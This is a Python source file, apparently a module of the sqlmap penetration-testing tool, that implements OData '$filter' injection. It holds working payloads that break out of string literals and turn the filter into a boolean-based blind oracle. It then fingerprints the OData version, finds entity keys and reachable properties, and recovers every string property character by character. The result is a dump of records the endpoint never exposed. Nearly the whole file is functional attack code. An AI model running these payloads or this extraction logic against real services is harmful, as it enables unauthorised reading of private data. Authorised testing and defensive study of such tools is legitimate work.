#!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ """ OData injection ('--odata'). An application that builds an OData '$filter' from user input (?name= -> $filter=Name eq '') hands over the whole filter expression language. Breaking out of the string literal turns the filter into an attacker-controlled boolean, which is a boolean-based blind oracle: the entity set the query returns is populated or empty according to a condition sqlmap controls. detect break the literal, then confirm a reproducible true/false differential (1 eq 1 vs 1 eq 2) confirm an OData-only construct (length()/startswith() on a literal) that plain SQL does not parse, so the finding is attributed to OData rather than to ordinary SQL injection extract through the oracle, pin an entity by its key and blindly recover each string property by length + substring binary search - reaching properties the endpoint never $select-ed OData is fingerprinted by version: v4 speaks contains(), v2/v3 speak substringof(). Nothing is inferred from a payload merely 'looking like' it worked - every step is a reproducible boolean differential or a value the application cannot produce by itself. """ import re import time from collections import namedtuple from lib.core.common import beep from lib.core.common import randomStr from lib.core.common import urldecode from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import PLACE from lib.utils.nonsql import InconclusiveError from lib.utils.nonsql import resolveBit from lib.utils.nonsql import sqlErrorPresent from lib.utils.nonsql import blockedStatus from lib.utils.nonsql import ratio as _ratio from lib.utils.nonsql import userDecision from lib.utils.nonsql import userOracleActive from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS from lib.core.settings import ODATA_CHAR_MAX from lib.core.settings import ODATA_CHAR_MIN from lib.core.settings import ODATA_CHARSET_BLOCK from lib.core.settings import ODATA_COMMON_FIELDS from lib.core.settings import ODATA_ERROR_REGEX from lib.core.settings import ODATA_ERROR_SIGNATURES from lib.core.settings import ODATA_KEY_CANDIDATES from lib.core.settings import ODATA_MAX_KEY from lib.core.settings import ODATA_MAX_LENGTH from lib.core.settings import ODATA_MAX_RECORDS from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request from lib.utils.xrange import xrange from thirdparty.six.moves.urllib.parse import quote as _quote SENTINEL = randomStr(length=10, lowercase=True) ODATA_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) Boundary = namedtuple("Boundary", ("prefix", "suffix")) # Detection boundaries, priority-ordered. Each breaks out of the string literal and rebuilds a filter # whose truth is (predicate): the base value matches nothing and the trailing "'1' eq '2'" is false, so # the injected predicate alone decides whether any entity is returned. prefix/suffix wrap a later # predicate for extraction. # (true_break, false_break, prefix, suffix) _BOUNDARY_TABLE = ( # single-quoted string literal (OData escapes an inner quote by doubling it, hence no backslashes) ("' or (1 eq 1) or '1' eq '2", "' or (1 eq 2) or '1' eq '2", "' or (", ") or '1' eq '2"), # double-quoted string literal (some services accept "..." literals) ('" or (1 eq 1) or "1" eq "2', '" or (1 eq 2) or "1" eq "2', '" or (', ') or "1" eq "2'), ) # Charset for blind character recovery. # NOTE recovery uses EXACT equality (substring(...) eq 'c'), never a '>=' bisection: .NET / OData string # relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a # lexicographic bisection, whereas eq is ordinal and exact. Bisection is recovered WITHOUT ordering by # asking about a whole candidate set per request (see _memberOf), so the set is ordered by real-world # frequency - a common character is settled inside the first block. Because the probe is exact rather # than positional, the order is free and a missing codepoint only costs coverage - it cannot alias onto # a neighbour the way a bisection hole does. Nothing is excluded: the one character OData cannot carry # raw inside a literal, the single quote, is doubled per the spec instead of dropped. _FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) + tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?")) _CS_ORDS = [] for _o in _FREQ: if ODATA_CHAR_MIN <= _o <= ODATA_CHAR_MAX and _o not in _CS_ORDS: _CS_ORDS.append(_o) for _o in xrange(ODATA_CHAR_MIN, ODATA_CHAR_MAX + 1): if _o not in _CS_ORDS: _CS_ORDS.append(_o) # ...and weighted by the same shipped character prior blind SQL retrieval banks on, so a set is split # at its cumulative-WEIGHT midpoint rather than its midpoint by count. That puts the likely characters # nearer the root of the decision tree, which is what beats a uniform bisection's flat log2(charset). _CS_WEIGHTS = dict((_o, HUFFMAN_PRIOR_WEIGHTS.get(_o, 1)) for _o in _CS_ORDS) _CS_ORDS.sort(key=lambda _o: -_CS_WEIGHTS[_o]) def _splitPoint(candidates): """Where to cut `candidates` so that either answer is about equally likely (never degenerate).""" half = sum(_CS_WEIGHTS[_] for _ in candidates) / 2.0 running = 0 for index, ordinal in enumerate(candidates): running += _CS_WEIGHTS[ordinal] if running >= half: return min(index + 1, len(candidates) - 1) return len(candidates) - 1 def _literal(ordinal): """One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped).""" return "'%s'" % ("''" if ordinal == 0x27 else chr(ordinal)) def _delim(place): return conf.paramDel or (';' if place == PLACE.COOKIE else '&') def _confParameters(place): return conf.parameters.get(place) or "" def _originalValue(place, parameter): # decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text # and a value carrying %XX/'+' round-trips to exactly what the application originally received for pair in _confParameters(place).split(_delim(place)): if '=' in pair: name, _, value = pair.partition('=') if name.strip() == parameter: return urldecode(value, convall=True) return None def _replaceSegment(place, parameter, value): retVal = [] for pair in _confParameters(place).split(_delim(place)): if '=' in pair: name, _, old = pair.partition('=') retVal.append("%s=%s" % (name, value if name.strip() == parameter else old)) elif pair: retVal.append(pair) return _delim(place).join(retVal) def _send(place, parameter, value, raw=False): """One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery. `raw=True` keeps a 4xx/5xx body (a $filter parser diagnostic is served as 400) which the boolean oracle must never see. The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never reaches the service intact: a raw '&' is the parameter delimiter, so the request SPLITS and the $filter arrives truncated, and '+' arrives as a space. That is not hypothetical - the character scan emits both as data, and unencoded the '&' probe returned a 400 whose InconclusiveError aborted the WHOLE property, so any value holding one of them dumped as '?'.""" if conf.delay: time.sleep(conf.delay) saved = conf.parameters.get(place, "") conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) page, _, code = Request.getPage(raise404=False, silent=True) if not raw and (blockedStatus(code) or (code and code >= 400)): return None return page or "" except Exception as ex: logger.debug("OData probe request failed: %s" % getUnicode(ex)) return None finally: conf.parameters[place] = saved def _isError(page): page = getUnicode(page or "") return bool(re.search(ODATA_ERROR_REGEX, page)) or sqlErrorPresent(page) def _backendFromError(page): page = getUnicode(page or "") for backend, regex in ODATA_ERROR_SIGNATURES: if re.search(regex, page): return backend return None def _probeError(place, parameter): """Break the filter and look for an OData $filter parser diagnostic (served as 400). A hint only.""" original = _originalValue(place, parameter) or "1" normal = _send(place, parameter, original, raw=True) for suffix in ("'", '"', ")", " eq "): broken = _send(place, parameter, original + suffix, raw=True) if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: continue backend = _backendFromError(broken) if backend and not _isError(normal): return backend, broken return None, None def _boolean(truthy, falsy): truePage = truthy() if truePage is None or _isError(truePage): return None if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: return None falsePage = falsy() if falsePage is None or _isError(falsePage): return None if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: return None if userOracleActive(): return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: return truePage return None def _detectBoolean(place, parameter): for trueBreak, falseBreak, prefix, suffix in _BOUNDARY_TABLE: truePayload = SENTINEL + trueBreak falsePayload = SENTINEL + falseBreak template = _boolean(lambda p=truePayload: _send(place, parameter, p), lambda p=falsePayload: _send(place, parameter, p)) if template: return template, truePayload, Boundary(prefix, suffix) return None, None, None def _wrap(boundary, predicate): return "%s%s%s%s" % (SENTINEL, boundary.prefix, predicate, boundary.suffix) # OData-only attribution: length()/startswith() over a string LITERAL are OData $filter functions with no # plain-SQL equivalent, so a true/false divergence attributes the finding to OData rather than SQL. No # property name is needed, so this runs before any field is known. _ODATA_PREDICATES = ( ("length('%s') eq 6" % ("sqlmap"), "length('%s') eq 5" % ("sqlmap")), ("startswith('sqlmap','sql')", "startswith('sqlmap','xyz')"), ) def _confirmOData(place, parameter, boundary): for truePred, falsePred in _ODATA_PREDICATES: if _boolean(lambda p=_wrap(boundary, truePred): _send(place, parameter, p), lambda p=_wrap(boundary, falsePred): _send(place, parameter, p)): return True return False def _fingerprintVersion(oracle): """v4 speaks contains(); v2/v3 speak substringof(). Whichever parses-and-evaluates names the dialect. Both probes are EXPECTED to fail on the dialect that does not own them - an unknown $filter function is a 400, which the oracle can only report as inconclusive. That is a negative answer here, not an error: raising would abort the scan before the finding is even reported, and it would do so on exactly the v2/v3 services the second branch exists to name.""" for expression, version in (("contains('sqlmap','sql')", "v4"), ("substringof('sql','sqlmap')", "v2/v3")): try: if oracle(expression): return version except InconclusiveError: continue return None def _makeOracle(place, parameter, boundary, truePredicate="(1 eq 1)"): """Build a boolean oracle whose TRUE model is the result of `truePredicate` and FALSE model is the empty set. For detection the true model is the whole entity set ((1 eq 1)); for per-entity extraction it is a single pinned entity (key eq K), so a `key eq K and ` probe - which returns that one entity or nothing - matches the two models exactly. Returns None when the models are not separable.""" cache = {} def request(payload): if payload not in cache: page = _send(place, parameter, payload) if page is not None and not _isError(page): cache[payload] = page return page return cache[payload] truePayload = _wrap(boundary, truePredicate) falsePayload = _wrap(boundary, "(1 eq 2)") trueTemplate = request(truePayload) falseTemplate = request(falsePayload) if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate): return None if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: return None if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: return None if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: return None def truth(predicate): payload = _wrap(boundary, predicate) page = request(payload) usable = page if (page is not None and not _isError(page)) else None def fresh(): p = _send(place, parameter, payload) return None if (p is None or _isError(p)) else p return resolveBit(usable, trueTemplate, falseTemplate, fresh) truth.template = trueTemplate truth.cache = cache return truth def _hasErrorSurface(place, parameter, boundary): """True when an unknown property really does surface as an error. The cheap existence oracle below is an error/no-error split, so on an endpoint that SWALLOWS the service's 400 it answers 'exists' for EVERY name - which reported all 37 candidate properties as reachable and dumped a wall of empty columns. Probing a name that cannot exist tells the two apart in one request.""" payload = _wrap(boundary, "(%s ne null)" % randomStr(length=12, lowercase=True)) page = _send(place, parameter, payload, raw=True) return page is None or _isError(page) def _fieldExists(place, parameter, boundary, field): """A property that does not exist makes the whole $filter error (400), while an existing one filtered to false returns 200-empty. So a raw error/no-error split is the existence oracle - but only where _hasErrorSurface() confirmed the endpoint actually leaks that difference.""" payload = _wrap(boundary, "(%s ne null)" % field) page = _send(place, parameter, payload, raw=True) return page is not None and not _isError(page) def _fieldExistsBlind(oracle, key, keyValue, field): """Existence WITHOUT an error surface, for an endpoint that renders a failed $filter as its ordinary empty page. 'length(P) ge 0' is true for any property that exists, while an unknown one makes the whole filter fail and the endpoint then serves exactly the FALSE model - so the boolean oracle separates them cleanly. One request per candidate, same as the error-based check, and it keeps the automatic dump working on a blind target instead of surrendering it.""" try: return oracle("(%s eq %d and length(%s) ge 0)" % (key, keyValue, field)) except InconclusiveError: return False def _present(place, parameter, boundary, emptyPage, predicate): """True when `predicate` returns at least one entity, decided by a direct comparison against the known EMPTY page rather than the ratio oracle - used to discover which key values exist WITHOUT assuming a per-entity model yet. A partial/multi-row result is fine here: anything that differs from empty counts as present.""" page = _send(place, parameter, _wrap(boundary, predicate)) if page is None or _isError(page): return False return _ratio(page, emptyPage) < UPPER_RATIO_BOUND def _lowestKey(place, parameter, boundary, emptyPage, candidate): """The smallest existing value of a numeric key, found by bisecting on a RANGE predicate. Walking up from 1 only works when the keys start near 1. Real services hand out identities from a seed (1000, 100000, an epoch), and the old upward walk gave up after its run of misses and reported 'no numeric key property found' on a perfectly dumpable entity set. `ge` answers over a whole range at once, so ~17 requests locate the first key wherever it sits.""" lo, hi = 0, ODATA_MAX_KEY if not _present(place, parameter, boundary, emptyPage, "(%s ge %d)" % (candidate, lo)): return None while lo < hi: mid = (lo + hi) // 2 if _present(place, parameter, boundary, emptyPage, "(%s le %d)" % (candidate, mid)): hi = mid else: lo = mid + 1 return lo def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True): """Pick a numeric key property and the key values that actually exist (bounded). Every probe stays a single-entity 0/1-row answer, which the per-entity oracle can classify. The error-based pre-check only earns its request where the endpoint HAS an error surface; without one it answers 'exists' for every name, so the range probe below - which compares against the known empty page and so needs no error at all - is left to reject the candidate on its own.""" for candidate in ODATA_KEY_CANDIDATES: if errorSurface and not _fieldExists(place, parameter, boundary, candidate): continue start = _lowestKey(place, parameter, boundary, emptyPage, candidate) if start is None: continue present = [] misses = 0 value = start - 1 # scan upward from the first real key; stop after a run of absent ids (sparse keys) or once # enough are collected while value < ODATA_MAX_KEY and len(present) < ODATA_MAX_RECORDS and misses < 32: value += 1 if _present(place, parameter, boundary, emptyPage, "(%s eq %d)" % (candidate, value)): present.append(value) misses = 0 else: misses += 1 if present: return candidate, present return None, [] def _memberOf(oracle, pin, field, pos, ordinals, useIn): """One request asking whether the character at `pos` is ANY of `ordinals`.""" substring = "substring(%s,%d,1)" % (field, pos) if useIn: return oracle("(%s%s in (%s))" % (pin, substring, ",".join(_literal(_) for _ in ordinals))) return oracle("(%s(%s))" % (pin, " or ".join("%s eq %s" % (substring, _literal(_)) for _ in ordinals))) def _supportsIn(oracle, pin): """Whether the service speaks the v4.01 `in` operator, settled by a differential so one that merely tolerates the syntax cannot fake it. Both spellings ask the identical question, but `in` costs the parser a SINGLE node against ~8 per candidate for the disjunction, and the ceiling is real: ASP.NET Core OData allows 100 nodes by default (MaxNodeCount) and was measured rejecting an 11-term disjunction outright. So `in`, where offered, buys headroom on a service configured stricter than the default rather than a bigger question.""" try: return oracle("(%s'a' in ('a','b'))" % pin) and not oracle("(%s'a' in ('b','c'))" % pin) except InconclusiveError: return False def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH, useIn=None): """Blindly recover one string property of the entity pinned by key==keyValue: length by binary search, then each character by set-membership bisection. OData substring() is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1).""" pin = "%s eq %d and " % (key, keyValue) try: if useIn is None: useIn = _supportsIn(oracle, pin) if not oracle("(%slength(%s) ge 1)" % (pin, field)): return "" lo, hi = 1, maxLen while lo < hi: mid = (lo + hi + 1) // 2 if oracle("(%slength(%s) ge %d)" % (pin, field, mid)): lo = mid else: hi = mid - 1 length = lo chars = [] for pos in xrange(length): # A whole candidate set is asked about in ONE request, so a probe halves the space just as # a relational bisection would - without ever leaving `eq`, the only comparison .NET does # not case-fold. The weight-ordered blocks are tried in turn, so a likely character is # settled by the first of them and never pays for the rest of the charset. recovered = "?" for start in xrange(0, len(_CS_ORDS), ODATA_CHARSET_BLOCK): candidates = _CS_ORDS[start:start + ODATA_CHARSET_BLOCK] if not _memberOf(oracle, pin, field, pos, candidates, useIn): continue while len(candidates) > 1: # membership in `candidates` is established, so the untested side is implied cut = _splitPoint(candidates) candidates = (candidates[:cut] if _memberOf(oracle, pin, field, pos, candidates[:cut], useIn) else candidates[cut:]) recovered = chr(candidates[0]) break chars.append(recovered) except InconclusiveError: logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field) return None return "".join(chars) def _grid(columns, rows): columns = [getUnicode(_) for _ in columns] rows = [[getUnicode(_) for _ in row] for row in rows] widths = [] for index, column in enumerate(columns): width = len(column) for row in rows: if index < len(row): width = max(width, len(getUnicode(row[index]))) widths.append(width) separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" def line(cells): return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) def _dumpEntities(place, parameter, boundary, emptyPage): """Find a key and the entities that exist, enumerate which common string properties are reachable, then blind-read them for each entity - reaching properties the endpoint never $select-ed. A fresh oracle is calibrated PER entity (true model = that one entity, false model = empty) so a 'key eq K and ' probe, which returns that entity or nothing, matches the two models exactly.""" errorSurface = _hasErrorSurface(place, parameter, boundary) if not errorSurface: logger.debug("this endpoint swallows the service's $filter errors, so property existence is " "decided through the boolean oracle instead of an error/no-error split") key, keys = _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface) if not key: logger.info("no numeric key property found among %s; reporting detection only" % ", ".join(ODATA_KEY_CANDIDATES[:4])) return if errorSurface: reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExists(place, parameter, boundary, _)] else: probe = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, keys[0])) if probe is None: logger.info("property enumeration needs a per-entity oracle this endpoint does not support; " "reporting detection only") return reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExistsBlind(probe, key, keys[0], _)] fields = [key] + reachable logger.info("key property '%s'; %d entit%s; reachable properties: %s" % (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields))) rows = [] useIn = None for value in keys: oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value)) if oracle is None: continue if useIn is None: # a property of the service, not of the entity, so it is settled once for the whole dump useIn = _supportsIn(oracle, "%s eq %d and " % (key, value)) logger.debug("service %s the 'in' operator, so one probe covers %d candidate character(s)" % ("speaks" if useIn else "does not speak", len(_CS_ORDS) if useIn else ODATA_CHARSET_BLOCK)) row = [str(value)] for field in fields[1:]: recovered = _inferField(oracle, key, value, field, useIn=useIn) row.append("?" if recovered is None else recovered) rows.append(row) if rows: conf.dumper.singleString("OData: entities dumped through '$filter' (%d)\n%s" % (len(rows), _grid(fields, rows))) def odataScan(): global SENTINEL SENTINEL = randomStr(length=10, lowercase=True) debugMsg = "'--odata' is self-contained: it detects OData '$filter' injection in HTTP parameters and " debugMsg += "blindly dumps the reachable entities. SQL enumeration switches (--banner, --dbs, " debugMsg += "--tables, --users, --sql-query) are ignored" logger.debug(debugMsg) if not conf.paramDict: logger.error("no request parameters to test (use --data, GET params, or similar)") return tested = found = 0 for place in (_ for _ in ODATA_PLACES if _ in conf.paramDict): for parameter in list(conf.paramDict[place].keys()): if conf.testParameter and parameter not in conf.testParameter: continue tested += 1 logger.info("testing OData injection on %s parameter '%s'" % (place, parameter)) backendHint, _errorPage = _probeError(place, parameter) if backendHint: logger.info("%s parameter '%s' reaches an OData service (framework: '%s')" % (place, parameter, backendHint)) template, payload, boundary = _detectBoolean(place, parameter) if not template: continue isOData = _confirmOData(place, parameter, boundary) or bool(backendHint) if not isOData: logger.info("%s parameter '%s' shows a boolean differential but no OData-only construct " "confirmed it; not attributing to OData (may be plain SQL injection)" % (place, parameter)) continue found += 1 if conf.beep: beep() detectOracle = _makeOracle(place, parameter, boundary) version = _fingerprintVersion(detectOracle) if detectOracle else None backend = backendHint or "Generic OData" versionMsg = " %s" % version if version else "" logger.info("%s parameter '%s' is vulnerable to OData injection (framework: '%s'%s)" % (place, parameter, backend, versionMsg)) conf.dumper.singleString("---\nParameter: %s (%s)\n Type: OData injection\n" " Title: OData $filter boolean-based blind\n Payload: %s=%s\n---" % (parameter, place, parameter, payload)) if detectOracle is None: logger.info("extraction disabled (true/false models not reliably separable); detection stands") continue emptyPage = _send(place, parameter, _wrap(boundary, "(1 eq 2)")) if emptyPage is not None: _dumpEntities(place, parameter, boundary, emptyPage) if not found: if tested: logger.warning("no parameter appears to be injectable via OData injection (%d tested)" % tested) else: logger.warning("no parameters found to test for OData injection") logger.info("OData scan complete")